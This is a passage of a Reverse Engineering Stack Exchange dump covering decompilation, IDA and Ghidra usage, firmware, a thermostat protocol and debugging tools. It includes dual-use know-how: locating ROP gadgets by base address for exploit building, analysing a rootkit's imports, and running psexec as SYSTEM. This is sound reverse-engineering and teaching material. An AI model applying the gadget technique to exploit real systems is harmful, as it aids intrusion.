        "Body": "<p>So I am currently in the stages of creating binexact version of functions in decompiled code. I noticed that in this function the <code>rep movsd</code> is called and logically this is translated as Qmemcpy/memcpy when transformed to Pcode in IDA. In order to bin exact this , I cannot use memcopy because a function will be called and the code wont be bin exact. Is there a way to try to force the use of <code>rep movsd</code> ? I understand this is somewhat compiler dependent, but I was thinking I could write this differently to force the same effect.</p>\n<p><strong>C code This is what I need to change to match original assembly</strong></p>\n<pre><code>BOOL NetSendCmdReq2(BYTE bCmd, BYTE mast, BYTE pnum, TCmdGItem *p)\n{\n    DWORD ticks;\n    TCmdGItem cmd;\n\n    memcpy(&amp;cmd, p, sizeof(cmd));\n    cmd.bCmd = bCmd;\n    cmd.bPnum = pnum;\n    cmd.bMaster = mast;\n\n    ticks = GetTickCount();\n    if (!cmd.dwTime) {\n        cmd.dwTime = ticks;\n    } else if (ticks - cmd.dwTime &gt; 5000) {\n        return FALSE;\n    }\n\n    multi_msg_add((BYTE *)&amp;cmd.bCmd, sizeof(cmd));\n\n    return TRUE;\n}\n</code></pre>\n<p><strong>Compare Assembly: (This is what the C above compiles to)</strong></p>\n<pre><code>push ebp\nmov ebp, esp\nsub esp, 0x28\npush ebx\npush esi\npush 0x26\nlea eax, [ebp-0x28]\npush [ebp+0x10]\nmov bl, dl\nmov esi, ecx\npush eax\ncall &lt;imm_fn&gt; &lt;------ This should be rep movsd rather than a call.\nmov al, [ebp+0x0C]\nadd esp, 0x0C\nmov [ebp-0x26], al\nmov al, [ebp+0x08]\ntest esi, esi\nmov [ebp-0x28], bl\nmov [ebp-0x27], al\njnz $+0xF\nand [ebp-0x0E], esi\nmov dl, 0x26\nlea ecx, [ebp-0x28]\ncall &lt;imm_fn&gt;\njmp $+0x25\ncall [&lt;indir_fn&gt;]\ncmp dword ptr [ebp-0x0E], 0x00\njnz $+0x5\nmov [ebp-0x0E], eax\njmp $+0xA\nsub eax, [ebp-0x0E]\ncmp eax, 0x1388\njnle $+0xA\nmov dl, 0x26\nlea ecx, [ebp-0x28]\ncall &lt;imm_fn&gt;\n\npop esi\npop ebx\nleave\nret 0x0C\n</code></pre>\n<p><strong>Origional Assembly : This is what should be matched .</strong></p>\n<pre><code>push ebp \nmov ebp, esp\nsub esp, 0x28\n\npush esi\nmov esi, [ebp+0x10]\npush edi\nmov eax, ecx\npush 0x09\nlea edi, [ebp-0x28]\npop ecx\nrep movsd &lt; ----- Notice this doesn't make an actual call.\nmov cl, [ebp+0x0C]\nmovsw  \nmov [ebp-0x26], cl\nmov cl, [ebp+0x08]\ntest eax, eax\nmov [ebp-0x28], dl\nmov [ebp-0x27], cl\njnz $+0xF\nand [ebp-0x0E], eax\nmov dl, 0x26\nlea ecx, [ebp-0x28]\ncall &lt;imm_fn&gt;\njmp $+0x25\ncall [&lt;indir_fn&gt;]\ncmp dword ptr [ebp-0x0E], 0x00\njnz $+0x5\nmov [ebp-0x0E], eax\njmp $+0xA\nsub eax, [ebp-0x0E]\ncmp eax, 0x1388\njnle $+0xA\nmov dl, 0x26\nlea ecx, [ebp-0x28]\ncall &lt;imm_fn&gt;\npop edi\npop esi\n\nleave\nret 0x0C \n</code></pre>\n",
        "Title": "Converting rep movsd to to C without memcpy",
        "Tags": "|assembly|decompilation|c|functions|",
        "Answer": "<p>here is a sample code that will emit rep movsd instead of memcpy()  function</p>\n<p>the src const char * is deliberately kept large enough to avoid unrolling and using  simple mov [dest++] ,const</p>\n<p>source</p>\n<pre><code>:\\&gt;cat memcopin.cpp\n#include &lt;memory.h&gt;\n#pragma intrinsic( memcpy )\n\nchar *src =&quot;\\\nI am Source And I Will be truncated by memcpy\\n\\\nI am Source And I Will be truncated by memcpy\\n&quot;;\n\nchar dest[128];\n\nint main(void) {\n    memcpy(dest,src,64);\n    return 0;\n}\n</code></pre>\n<p>compiled and linked with vscommunity 2017 dev cmd prompt as x86 on x86</p>\n<pre><code>:\\&gt;cl /Zi /W4 /analyze /EHsc /Od /nologo memcopin.cpp /link /release\nmemcopin.cpp\n</code></pre>\n<p>executed under debugger cdb.exe(windbg console) awk is not a necessity it is there to get only relevent output and awk is availble for windows x86 and x64</p>\n<pre><code>:\\&gt;cdb -c &quot;g memcopin!main;uf .;pt;da /c 64 poi(src);da /c 64 dest;q&quot; memcopin.exe |awk &quot;/Reading/,/quit:/&quot;\n\n0:000&gt; cdb: Reading initial command 'g memcopin!main;uf .;pt;da /c 64 poi(src);da /c 64 dest;q'\ndisassembly  of main()\n\nmemcopin!main:\n01291000 55              push    ebp\n01291001 8bec            mov     ebp,esp\n01291003 56              push    esi\n01291004 57              push    edi\n01291005 b910000000      mov     ecx,10h\n0129100a 8b3500902d01    mov     esi,dword ptr [memcopin!src (012d9000)]\n01291010 bfe0992d01      mov     edi,offset memcopin!dest (012d99e0)\n01291015 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]\n01291017 33c0            xor     eax,eax\n01291019 5f              pop     edi\n0129101a 5e              pop     esi\n0129101b 5d              pop     ebp\n0129101c c3              ret\nsrc \n012d0190  &quot;I am Source And I Will be truncated by memcpy.I am Source And I Will be truncated by memcpy.&quot;\ndest\n012d99e0  &quot;I am Source And I Will be truncated by memcpy.I am Source And I &quot;\nquit:\n</code></pre>\n"
    },
    {
        "Id": "26257",
        "CreationDate": "2020-11-06T06:17:55.630",
        "Body": "<p>How to reverse engineer Python scripts turned into binaries with <a href=\"https://cx-freeze.readthedocs.io\" rel=\"nofollow noreferrer\">cx_Freeze</a>?</p>\n",
        "Title": "How to reverse engineer cx_Freeze exe's?",
        "Tags": "|decompilation|python|",
        "Answer": "<ol>\n<li>find the <code>library.zip</code> inside the <code>lib</code> folder included</li>\n<li>extract <code>EXENAME__main__.pyc</code> (EXENAME is the name of the exe)</li>\n<li>run <code>pip install decompyle3</code></li>\n<li>run <code>decompyle3 EXENAME__main__.pyc</code> and the source will be printed onto the screen</li>\n</ol>\n"
    },
    {
        "Id": "26284",
        "CreationDate": "2020-11-11T06:36:05.263",
        "Body": "<p>I'm working on a decompilation of a windows PE (with its full debug symbols in a PDB) and I'm using IDA to help with it.</p>\n<p>I want to know how I can get a list of all references to a given class member variable. When I press 'X' in a name that is a class member variable in the decompiler window it only shows xrefs to it within the actual function being decompiled. I want to see the references in all of the functions. Is that even possible without coding a script?</p>\n",
        "Title": "How can I get xrefs to class member variables in IDA?",
        "Tags": "|ida|decompilation|pe|",
        "Answer": "<p>The other answer is wrong; it's totally possible (assuming the IDB already has a type for the structure in question, and that type has been applied to arguments/variables in Hex-Rays).</p>\n<p>In IDA 7.4 and above (I think; might have been 7.3), right-click the variable and press &quot;Jump to xref globally&quot;, as follows:</p>\n<p><a href=\"https://i.stack.imgur.com/7UOJC.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/7UOJC.png\" alt=\"Jump to xref globally\" /></a></p>\n<p>You'll get a popup with all global x-refs, as follows:</p>\n<p><a href=\"https://i.stack.imgur.com/oYl5Y.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/oYl5Y.png\" alt=\"Global cross references\" /></a></p>\n<p>This is based on caching, so the first time you do it, you'll want to right-click and press &quot;refresh&quot; as in the image above (which will take a while for large databases, but is totally worth it -- this is one of my most frequently-used features in Hex-Rays).</p>\n"
    },
    {
        "Id": "26289",
        "CreationDate": "2020-11-11T11:32:16.023",
        "Body": "<p>Recently I work on Tricore Arch to reverse an algorithm. But I had a problem to find a constant value(4 byte). the line of code shown below:</p>\n<pre><code>ld32.w          d4, [a0]-0x68D4\n</code></pre>\n<p>I know <code>a0 = 0xD00032E0</code> but it seems I need to find the equivalent <code>copy_block</code> that tells I where <code>d000032e0</code> was copied to.</p>\n<p><strong>1- basically what is Copy_Block in tricore?</strong><br />\n<strong>2- How I can find copy_block?</strong></p>\n<p>Thanks</p>\n",
        "Title": "What is copy_block struct in Tricore Arch?",
        "Tags": "|ida|disassembly|memory|address|",
        "Answer": "<p>So, the term <em>copy_block</em> seems to be an invention of the  forum poster. It is <strong>not</strong>  specific to Tricore but a general approach used in many embedded firmwares to solve the following problem:</p>\n<p>The firmware runs from read-only flash memory, but in some situations you need parts of it in RAM, either because you need writable data, or for speed (often code in RAM runs much faster than from flash).</p>\n<p>To solve this, usually there is some code which performs copying of blocks of data from flash to RAM, and it can us either hardcoded addresses or a separate table. Generally, such table would consist of multiple records (which are called <code>copy_block</code> by the poster) with the following information:</p>\n<ol>\n<li><p>Source address (address of original data in flash)</p>\n</li>\n<li><p>Target address (destination in RAM)</p>\n</li>\n<li><p>Size of data to copy</p>\n</li>\n</ol>\n<p>There is no standard procedure to find such routines; basically you need to look for functions that copy data around and possibly get the addresses and size from a table. Usually such functions are called early in the firmware initialization process.</p>\n<p>After identifying the routine you can simulate its behavior by copying the bytes from FLASH to RAM segments using information from the table. A script similar to memcpy.idc shipped with IDA could be used for this.</p>\n"
    },
    {
        "Id": "26299",
        "CreationDate": "2020-11-14T00:10:35.547",
        "Body": "<p>I am trying to reverse engineering an <em>ENSTO</em> &quot;smart&quot; bluetooth thermostat, which i just got installed in the house. The thermostat due to some technical and electrical challenges sometimes got placed at weird positions, so I thought, I am giving this a try, and see how far I can get.</p>\n<p>In their official app, i was playing around to generat some log, so I managed to sniff the bluetooth packages, then using <em>wireshark</em>, noticated some patterns, but having hard times actually understanding them:</p>\n<p><a href=\"https://i.stack.imgur.com/8bCYM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8bCYM.png\" alt=\"enter image description here\" /></a></p>\n<p>The first <code>01</code> or <code>00</code> definitely indicates whether we are increasing or decreasing, but what the rest could be?</p>\n<p>Any tips, ideas, and suggestions are welcome!</p>\n<p>I am a fullstack engineer, and pretty new all these iot and smarthome things, but trying my best.</p>\n<pre><code>\nACTION  PAYLOAD\nINCREASE_BY_5_IN_ONE_HOUR   Value: 01f401143c003c00\nDECREASE_BY_5_IN_ONE_HOUR   Value: 00f401143c003c00\n    \nINCREASE_BY_3_IN_ONE_HOUR   Value: 012c010a3c003c00\nDECREASE_BY_3_IN_ONE_HOUR   Value: 002c010a3c003c00\n    \nINCREASE_BY_1_IN_3_HOURS    Value: 01640014b400b400\nDECREASE_BY_1_IN_3_HOURS    Value: 00640014b400b400\n</code></pre>\n<p>Thank you!</p>\n",
        "Title": "reverse engineering bluetooth smart thermostat payload",
        "Tags": "|bluetooth|",
        "Answer": "<p>Maybe this API-documentation will help (managed to get it from github while enstoflow was active earlier this year). It has all the payloads documented.\n<a href=\"https://drive.google.com/file/d/1ALbayheoGqpcOpPPEXFPCOlECvhd37kC/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/1ALbayheoGqpcOpPPEXFPCOlECvhd37kC/view?usp=sharing</a></p>\n<p>A snippet from the document:\n2.2.5. Boost\nBoost gives time in minutes or duration in percentage depending on the mcu mode. Boost offset\n(setpoint) is also given and it is between -20 and +20 degrees.</p>\n<p>Characteristics UUID ca3c0685-b708-4cd4-a049-5badd10469e7\nvalue BYTE[0] Boost 0=disabled, 1=enabled</p>\n<p>BYTE[1-2]: Boost offset int16_t as degrees (20\nas 2000 and 21,5 as 2150)\nBYTE[3]: Boost offset int8_t percentage\nBYTE[4-5]: Boost time set point in minutes\nuint8_t\nBYTE[6-7]: Boost time in minutes uint8_t,\nreturns remaining boost time, write does not\nhave effect</p>\n<p>Best regards,\nMika</p>\n"
    },
    {
        "Id": "26304",
        "CreationDate": "2020-11-14T20:41:52.563",
        "Body": "<p>I'm decompiling some Direct3D code that makes a lot of indirect calls to __stdcall functions.</p>\n<p>For example:</p>\n<pre><code>call dword ptr [edx+0xC8h]\n</code></pre>\n<p>which is really:</p>\n<pre><code>pD3DDevice-&gt;SetRenderState();\n</code></pre>\n<p>IDA doesn't correctly guess the stack pointer change of these calls in every case, so I have to go through and Alt+K the correct SP value manually.</p>\n<p>But after doing this I start running into a problem where one side of a branch will have the wrong SP value</p>\n<p><a href=\"https://i.stack.imgur.com/x9AkJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/x9AkJ.png\" alt=\"enter image description here\" /></a></p>\n<p>I can Alt-K the first instruction with the erroneous SP value but this only takes effect on the next instruction.</p>\n<p><strong>Edit:</strong></p>\n<p><a href=\"https://i.stack.imgur.com/uj67J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uj67J.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "IDA stack depth differences when branching",
        "Tags": "|ida|stack|",
        "Answer": "<p>So, the problem is that you have two branches with different stack delta: E8 at 5018E4 (fall through from <code>jnz</code>) and F0 at 501c49 (destination of <code>jnz</code>). Normally they should be the same, however IDA failed to reconcile them, probably due to too many indirect calls in the function.</p>\n<p>One peculiarity of manual stack delta adjustments is that they apply <em>after</em> the instruction at which you're setting them. In our case, we need to make 501C49 have the delta of E8, however we can't do it on the instruction itself but need to go to the previous one <em>by address</em> and not the control flow, i.e. the <code>jmp</code> at 501C44. Since that address has SPD=E0, specifying delta of -8 should work.</p>\n<p>This is why such manipulations are best done in text view and not graph.</p>\n"
    },
    {
        "Id": "26307",
        "CreationDate": "2020-11-15T13:18:34.943",
        "Body": "<p>So I was wondering if is there a way for IDA to appears in the righ click options of an executable.</p>\n<p><a href=\"https://i.stack.imgur.com/OC5ZE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OC5ZE.png\" alt=\"enter image description here\" /></a></p>\n<p>As you can see, <code>Debug with x64dbg</code> was built by itself, IDA 32 didn't do, so I just changed it in the Registry Editor, which it works, but it doesn't show the IDA's icon, also I'm pretty sure this not the right way since I saw some people with this option just like x64dbg is doing it.</p>\n<p>Thanks!</p>\n",
        "Title": "Debug with IDA Pro right click option",
        "Tags": "|ida|x64dbg|",
        "Answer": "<p>Create a text file with content below and save as .REG file. Open .REG file to import into registry. Change the IDA cmd line as appropriate for your system.\nFor more details refer to Microsoft's documentation on <a href=\"https://docs.microsoft.com/en-us/windows/win32/shell/context-menu\" rel=\"nofollow noreferrer\">Context Menus</a></p>\n<pre><code>Windows Registry Editor Version 5.00\n\n[HKEY_CLASSES_ROOT\\*\\shell\\IDA 32]\n&quot;Icon&quot;=&quot;\\&quot;C:\\\\Program Files\\\\IDA Pro 7.5\\\\ida.exe\\&quot;&quot;\n\n[HKEY_CLASSES_ROOT\\*\\shell\\IDA 32\\Command]\n@=&quot;\\&quot;C:\\\\Program Files\\\\IDA Pro 7.5\\\\ida.exe\\&quot; \\&quot;%1\\&quot; &quot;\n\n[HKEY_CLASSES_ROOT\\*\\shell\\IDA 64]\n&quot;Icon&quot;=&quot;\\&quot;C:\\\\Program Files\\\\IDA Pro 7.5\\\\ida64.exe\\&quot;&quot;\n\n[HKEY_CLASSES_ROOT\\*\\shell\\IDA 64\\Command]\n@=&quot;\\&quot;C:\\\\Program Files\\\\IDA Pro 7.5\\\\ida64.exe\\&quot; \\&quot;%1\\&quot; &quot;\n</code></pre>\n"
    },
    {
        "Id": "26308",
        "CreationDate": "2020-11-15T13:31:49.217",
        "Body": "<p>I'm currently programming a x64 kernel and need to set the Apic mode to symmetric I/O Mode. The Multiprocessor Specification from Intel at Page 31 says that to enable this mode you have to write 01H to the IMCR memory register. The problem is that this memory register (has to be accessed over outb/inb)  is absolutely nowhere documented.\nCan someone point me to the official spec where it's written down?</p>\n",
        "Title": "Where is the IMCR defined in the docs?",
        "Tags": "|x86|kernel|documentation|",
        "Answer": "<p>As I understand it the Multiprocessor Specification is the only Intel document that references this, with the following info</p>\n<blockquote>\n<p>PIC Mode is software compatible with the PC/AT because it actually\nemploys the same hardware interrupt configuration. As Figure 3-2\nillustrates, the hardware for PIC Mode bypasses the APIC components by\nusing an interrupt mode configuration register (IMCR). This register\ncontrols whether the interrupt signals that reach the BSP come from\nthe master PIC or from the local APIC. Before entering Symmetric I/O\nMode, either the BIOS or the operating system must switch out of PIC\nMode by changing the IMCR. <a href=\"https://i.stack.imgur.com/qiV74.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qiV74.png\" alt=\"enter image description here\" /></a> The\nIMCR is supported by two read/writable or write-only I/O ports, 22h\nand 23h, which receive address and data respectively. To access the\nIMCR, write a value of 70h to I/O port 22h, which selects the IMCR.\nThen write the data to I/O port 23h. The power-on default value is\nzero, which connects the NMI and 8259 INTR lines directly to the BSP.\nWriting a value of 01h forces the NMI and 8259 INTR signals to pass\nthrough the APIC. The IMCR must be cleared after a system-wide INIT or\nRESET to enable the PIC Mode as default. (Refer to Section 3.7 for\ninformation on the INIT and RESET signals.) The IMCR is optional if\nPIC Mode is not implemented. The IMCRP bit of the MP feature\ninformation bytes (refer to Chapter 4) enables the operating system to\ndetect whether the IMCR is implemented.</p>\n</blockquote>\n<p>Example use case can be found in linux kernel within APIC.c:</p>\n<p><a href=\"https://github.com/torvalds/linux/blob/master/arch/x86/kernel/apic/apic.c\" rel=\"nofollow noreferrer\">https://github.com/torvalds/linux/blob/master/arch/x86/kernel/apic/apic.c</a></p>\n<p>However these documents supersede the Multiprocessor specification and don't reference IMCR:</p>\n<p><a href=\"https://www.intel.com/content/dam/www/public/us/en/documents/articles/acpi-config-power-interface-spec.pdf\" rel=\"nofollow noreferrer\">ACPI Config Power Interface Spec</a></p>\n<p><a href=\"https://software.intel.com/contennotet/www/us/en/develop/download/intel-64-architecture-x2apic-specification.html\" rel=\"nofollow noreferrer\">Intel 64 Architecture x2APIC Specification</a></p>\n"
    },
    {
        "Id": "26312",
        "CreationDate": "2020-11-16T08:59:32.317",
        "Body": "<p>When i take memory snapshot with IDA to try to analyze it statically later, the problem is there are a lot of symbols that get lost when i dump the memory, how can i solve this?</p>\n<p>for example this is the dump before :</p>\n<pre><code>rootkit:84582008 40 DE A4 82                             dd offset nt_memcpy\nrootkit:8458200C C1 BA C7 82                             dd offset nt_RtlFreeUnicodeString\nrootkit:84582010 10 AF AC 82                             dd offset nt_RtlEqualString\nrootkit:84582014 20 D5 A4 82                             dd offset nt_RtlInitAnsiString\nrootkit:84582018 BA 6A B3 82                             dd offset nt_ExFreePoolWithTag\nrootkit:8458201C 9B D2 C7 82                             dd offset nt_RtlUnicodeStringToAnsiString\nrootkit:84582020 05 60 B3 82                             dd offset nt_ExAllocatePoolWithTag\nrootkit:84582024 58 12 A5 82                             dd offset nt_ZwQuerySystemInformation\nrootkit:84582028 C0 E4 A4 82                             dd offset nt_memset\nrootkit:8458202C DC 01 A5 82                             dd offset nt_ZwClose\nrootkit:84582030 1C 03 A5 82                             dd offset nt_ZwCreateFile\nrootkit:84582034 35 9A C3 82                             dd offset nt_RtlEqualUnicodeString\nrootkit:84582038 6F DF C7 82                             dd offset nt_ObQueryNameString\nrootkit:8458203C 83 D2 A8 82                             dd offset nt_ObfDereferenceObjec\n</code></pre>\n<p>after i take the memory snapshot and detach from kernel :</p>\n<pre><code>rootkit:84582000                 dd 82A851FEh\nrootkit:84582004                 dd 82A84D9Bh\nrootkit:84582008                 dd 82A4DE40h\nrootkit:8458200C                 dd 82C7BAC1h\nrootkit:84582010                 dd 82ACAF10h\nrootkit:84582014                 dd 82A4D520h\nrootkit:84582018                 dd 82B36ABAh\nrootkit:8458201C                 dd 82C7D29Bh\nrootkit:84582020                 dd 82B36005h\nrootkit:84582024                 dd 82A51258h\nrootkit:84582028                 dd 82A4E4C0h\nrootkit:8458202C                 dd 82A501DCh\nrootkit:84582030                 dd 82A5031Ch\nrootkit:84582034                 dd 82C39A35h\nrootkit:84582038                 dd 82C7DF6Fh\nrootkit:8458203C                 dd 82A8D283h \n</code></pre>\n",
        "Title": "How to keep symbols when taking memory snapshot with IDA?",
        "Tags": "|ida|windows|unpacking|dumping|kernel|",
        "Answer": "<p>Two options:</p>\n<ol>\n<li><p>Include the targets of the pointers into the snapshot (can be done by enabling the target segment\u2019s loader flag in segment properties, or via \u201cAnalyze module\u201d from the Modules context menu)</p>\n</li>\n<li><p>Rename the import table pointers using the pointed-to names (e.g. using renimp.idc or similar script)</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "26323",
        "CreationDate": "2020-11-17T19:20:08.247",
        "Body": "<p>How can I tell IDA what the indexes of an array in a struct are? I think I need to tell it to use an enum, but I'm not sure how. I'm working on Practical Reverse Engineering and following the x86 Rootkit walkthrough in Chapter 3.</p>\n<p>It walks through reversing the setup of the DriverObject function pointers here:</p>\n<pre><code>01: .text:00010643   mov     ecx, [ebp+DriverObject]\n02: .text:00010646   mov     dword ptr [ecx+38h], offset sub_10300\n03: .text:0001064D   mov     edx, [ebp+DriverObject]\n04: .text:00010650   mov     dword ptr [edx+40h], offset sub_10300\n05: .text:00010657   mov     eax, [ebp+DriverObject]\n06: .text:0001065A   mov     dword ptr [eax+70h], offset sub_10300\n07: .text:00010661   mov     ecx, [ebp+DriverObject]\n08: .text:00010664   mov     dword ptr [ecx+34h], offset sub_10580\n</code></pre>\n<p>Following along, I have a Driver_Object struct defined, and IDA picks up the MajorFunction offset</p>\n<pre><code>.text:00010643 mov     ecx, [ebp+DriverObject]\n.text:00010646 mov     [ecx+_DRIVER_OBJECT.MajorFunction], offset sub_10300\n.text:0001064D mov     edx, [ebp+DriverObject]\n.text:00010650 mov     [edx+(_DRIVER_OBJECT.MajorFunction+8)], offset sub_10300\n.text:00010657 mov     eax, [ebp+DriverObject]\n.text:0001065A mov     [eax+(_DRIVER_OBJECT.MajorFunction+38h)], offset sub_10300\n.text:00010661 mov     ecx, [ebp+DriverObject]\n.text:00010664 mov     [ecx+_DRIVER_OBJECT.DriverUnload], offset driverUnload\n</code></pre>\n<p>MajorFunction is defined as an array, but I'd like to get IDA to display what those offsets represent. wdm.h defines the offsets as follows:</p>\n<pre><code>#define IRP_MJ_CREATE                   0x00\n#define IRP_MJ_CREATE_NAMED_PIPE        0x01\n#define IRP_MJ_CLOSE                    0x02\n...\n</code></pre>\n<p>Basically, I'd like to see something like the following in the disassembly:</p>\n<pre><code>.text:0001064D mov     edx, [ebp+DriverObject]\n.text:00010650 mov     [edx+(_DRIVER_OBJECT.MajorFunction+IRP_MJ_CLOSE)], offset sub_10300\n.text:00010657 mov     eax, [ebp+DriverObject]\n.text:0001065A mov     [eax+(_DRIVER_OBJECT.MajorFunction+IRP_MJ_DEVICE_CONTROL)], offset sub_10300\n</code></pre>\n<p>IDA has the Driver Object defined as follows:</p>\n<pre><code>struct __declspec(align(4)) _DRIVER_OBJECT\n{\n  ...\n  void (__stdcall *DriverUnload)(_DRIVER_OBJECT *);\n  int (__stdcall *MajorFunction[28])(_DEVICE_OBJECT *, _IRP *);\n};\n</code></pre>\n",
        "Title": "IDA Set struct array to use enum values",
        "Tags": "|ida|",
        "Answer": "<p>I don't think you can do that directly in IDA, although Hex-Rays does it. For example, in the PE header <code>IMAGE_DATA_DIRECTORY DataDirectory[16]</code> array, the names of the individual elements are specified by <code>#define</code> constants such as <code>IMAGE_DIRECTORY_ENTRY_EXPORT</code>. Here we see an access to the element at index <code>0</code>:</p>\n<p><a href=\"https://i.stack.imgur.com/GmxJ0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GmxJ0.png\" alt=\"Access to pe-&gt;DataDirectory 0\" /></a></p>\n<p>It would be nice to see the symbolic name for the enumeration element <code>0</code>. We can simply place our cursor on the <code>0</code>, press <code>m</code>, and change the constant into an enumeration element the same way we would do in the disassembly listing:</p>\n<p><a href=\"https://i.stack.imgur.com/Iqlrz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Iqlrz.png\" alt=\"Changing the index to an enumeration element\" /></a></p>\n<p>There is a workaround for your particular example in the disassembly listing. You can declare a new structure type -- say, <code>DRIVER_CALLBACK_FUNCTIONS</code>, like so:</p>\n<pre><code>struct DRIVER_CALLBACK_FUNCTIONS {\n  int (__stdcall *IRP_MJ_CREATE)(_DEVICE_OBJECT *, _IRP *);\n  int (__stdcall *IRP_MJ_CREATE_NAMED_PIPE)(_DEVICE_OBJECT *, _IRP *);\n  int (__stdcall *IRP_MJ_CLOSE)(_DEVICE_OBJECT *, _IRP *);\n  // ... all 28 functions ...\n};\n</code></pre>\n<p>And then modify the definition of <code>_DRIVER_OBJECT</code>: change the definition of the <code>MajorFunction[28]</code> array to <code>DRIVER_CALLBACK_FUNCTIONS</code> instead.</p>\n"
    },
    {
        "Id": "26327",
        "CreationDate": "2020-11-18T02:28:47.480",
        "Body": "<p>How is the offsets returned from ROP gadget finders related to the files they come from? For example, if the ROP gadget finder says that a certain gadget is at offset <code>0x0002ae74</code> in <code>libuClibc.0.9.3.so</code> where should I go to look for the gadget in <code>libuClibc.0.9.3.so</code>?</p>\n",
        "Title": "Finding Ropper/ROPgadget offsets in Ghidra disassembly",
        "Tags": "|disassembly|assembly|ghidra|exploit|",
        "Answer": "<p>ropper bases the binary at address 0. This can be changed using the -I flag. This value of the base can be picked up from Ghidra to reflect in ropper's output</p>\n<p>In Ghidra go to Window &gt; Memory Map.\n<a href=\"https://i.stack.imgur.com/29WEa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/29WEa.png\" alt=\"enter image description here\" /></a></p>\n<p>In this case libc is loaded at base address 0x100000. From ropper</p>\n<pre><code>$ ropper -I 0x100000 --nocolor --file ./libc.so.6\n</code></pre>\n<p>Now the output can be directly used with G to go to that address.</p>\n<pre><code>0x0000000000197853: pop r13; pop r14; jmp rax;\n</code></pre>\n<p>Additionally if you can't run ropper again for some reason you can try this with your old output.</p>\n<pre><code>0x0000000000097853: pop r13; pop r14; jmp rax; \n</code></pre>\n<p>Add base to this address</p>\n<pre><code>hex(0x100000+0x0000000000097853)\n0x197853\n</code></pre>\n<p>Press G and paste the above address</p>\n<pre><code>        00197848 48 83 c4 10     ADD        RSP,0x10\n        0019784c 4c 89 ee        MOV        RSI,R13\n        0019784f 5b              POP        RBX\n        00197850 5d              POP        RBP\n        00197851 41 5c           POP        R12\n        00197853 41 5d           POP        R13\n        00197855 41 5e           POP        R14\n        00197857 ff e0           JMP        RAX\n</code></pre>\n<p>One thing to notice is that ropper can produce rop gadgets from addresses which are not known to ghidra as instruction boundaries. For example</p>\n<pre><code>018258c30000 add dword ptr[edx+0xc358], eax\n</code></pre>\n<p>can be used by ropper as</p>\n<pre><code>58c3 pop eax; ret\n</code></pre>\n<p>because <code>58c3</code> is still a valid pair of instructions</p>\n"
    },
    {
        "Id": "26333",
        "CreationDate": "2020-11-18T16:00:16.260",
        "Body": "<p>I've download recaf jar file and install JDK 8. When I execute it/start it, it all works fine with <code>java -jar recaf-2.12.0-J8-jar-with-dependencies.jar</code>. I open a class file also no problem. The issue is when I try to edit it is disabled saying:</p>\n<pre><code>// =============================================== //\n// Recompile disabled. Please run Recaf with a JDK //\n// =============================================== //\n\n// Decompiled with: CFR 0.150\n...\n</code></pre>\n<p>Any idea why and how to solve this issue? This is my first time using recaf as well so it might be a newbie question.</p>\n",
        "Title": "Recaf: Recompile disabled, can't edit",
        "Tags": "|java|decompiler|byte-code|",
        "Answer": "<p>A few things:</p>\n<ol>\n<li><p>It is best if you report Recaf issues on the <a href=\"https://github.com/Col-E/Recaf\" rel=\"nofollow noreferrer\">Recaf github page</a>, not a 3rd party platform</p>\n</li>\n<li><p>You <strong>can still edit</strong> but the recompilation feature is disabled due to the inability to find the local Java compiler. Most of Recaf is based on the assembler, which you can find documentation on here: <a href=\"https://www.coley.software/Recaf/doc-edit-modes.html\" rel=\"nofollow noreferrer\">&quot;Class editing modes&quot;</a></p>\n</li>\n<li><p>This problem may still persist after a basic installation of Java 8 because the required platform tools are not added to the classpath. There is documentation on what files are required, where they are, and where you need to place them here: <a href=\"https://www.coley.software/Recaf/doc-setup-8.html\" rel=\"nofollow noreferrer\">&quot;Java 8 setup&quot;</a></p>\n</li>\n<li><p>Alternatively you can update to Java 11 or higher where none of this configuration is necessary.</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "26334",
        "CreationDate": "2020-11-18T18:36:25.903",
        "Body": "<p>I'm trying to trace a function, but unfortunately that function is huge and has lots and lots of jumps to other locations, making it almost impossible to trace for humans. I know the entry point and the exit point of the function. I would like a way to be able to run the function and see all of the opcodes that were executed afterwards so I can manually recreate the function later in c++. It will also help me find exactly where the function is crashing (since it would be last executed code) when it crashes.\nI've tried the tracing method in x64dbg but that would not record opcodes that I didn't manually walk over.</p>\n",
        "Title": "x64dbg or alternative: Run to selection while storing all ran opcodes",
        "Tags": "|x64dbg|x86-64|assembly|",
        "Answer": "<p>On Windows <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview\" rel=\"nofollow noreferrer\">Travel Debugging (TTD)</a> is a perfect use case for this scenario.</p>\n<p>To use TTD, you need to run the debugger elevated. Install <a href=\"https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab\" rel=\"nofollow noreferrer\">WinDbg Preview</a> from Windows 10 store using an account that has administrator privileges and use that account when recording in the debugger. In order to run the debugger elevated, select and hold (or right-click) the WinDbg Preview icon in the Start menu and then select More &gt; Run as Administrator.</p>\n<p>If you need to run on system without Windows 10 I have used it on Windows 8.1/Server 2012 and later by first installing on windows 10 then copying the installed files to another system. As a normal administrator account doesn't have access to the files I copy them running as SYSTEM Account using <strong><a href=\"http://live.sysinternals.com/psexec.exe\" rel=\"nofollow noreferrer\">psexec</a> -sid cmd.exe</strong> then copy to a folder with command such as <code>robocopy &quot;C:\\program files\\WindowsApps\\Microsoft.WinDbg_1.2007.6001.0_neutral__8wekyb3d8bbwe&quot; &quot;C\\windbgx&quot; * /s</code></p>\n<p>To take trace:</p>\n<ol>\n<li>In WinDbg Preview, select File &gt; Start debugging &gt; Launch executable (advanced).</li>\n<li>Enter the 